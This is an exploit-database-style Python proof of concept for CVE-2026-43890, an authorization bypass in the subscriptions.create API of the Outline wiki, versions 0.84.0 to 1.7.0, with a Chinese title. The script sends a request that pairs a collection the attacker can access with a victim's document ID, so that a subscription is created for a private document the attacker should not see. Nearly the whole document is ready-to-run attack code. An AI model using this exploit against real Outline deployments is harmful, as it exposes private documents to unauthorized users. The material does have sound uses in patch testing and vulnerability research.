CVE-2026-43890 Outline服务订阅创建接口权限绕过漏洞

import requests import json # Exploit Title: Outline 0.84.0 - 1.7.0 - Authorization Bypass in subscriptions.create # Date: 2026-05-11 # Exploit Author: Analyst # Vendor Homepage: https://www.getoutline.com # Software Link: https://github.com/outline/outline # Version: 0.84.0 - 1.7.0 # CVE: CVE-2026-43890 def exploit_outline(target_url, attacker_token, attacker_collection_id, victim_document_id): """ Exploits the broken authorization pattern in Outline subscriptions.create API. :param target_url: Base URL of the Outline instance (e.g., https://docs.example.com) :param attacker_token: Valid API token or session cookie for the attacker :param attacker_collection_id: A collection ID the attacker has access to :param victim_document_id: The document ID the attacker wants to subscribe to (unauthorized) """ headers = { "Content-Type": "application/json", "Authorization": f"Bearer {attacker_token}" # Adjust auth method based on config } # The payload includes both collectionId (authorized) and documentId (unauthorized) # The server validates collectionId but writes subscription for documentId payload = { "collectionId": attacker_collection_id, "documentId": victim_document_id, "event": "documents.update" } endpoint = f"{target_url}/api/subscriptions.create" try: response = requests.post(endpoint, headers=headers, json=payload) if response.status_code == 200: print("[+] Exploit successful! Subscription created for unauthorized document.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Example usage TARGET = "http://localhost:3000" TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." ATTACKER_COLL_ID = "valid_collection_uuid_here" VICTIM_DOC_ID = "secret_document_uuid_here" exploit_outline(TARGET, TOKEN, ATTACKER_COLL_ID, VICTIM_DOC_ID)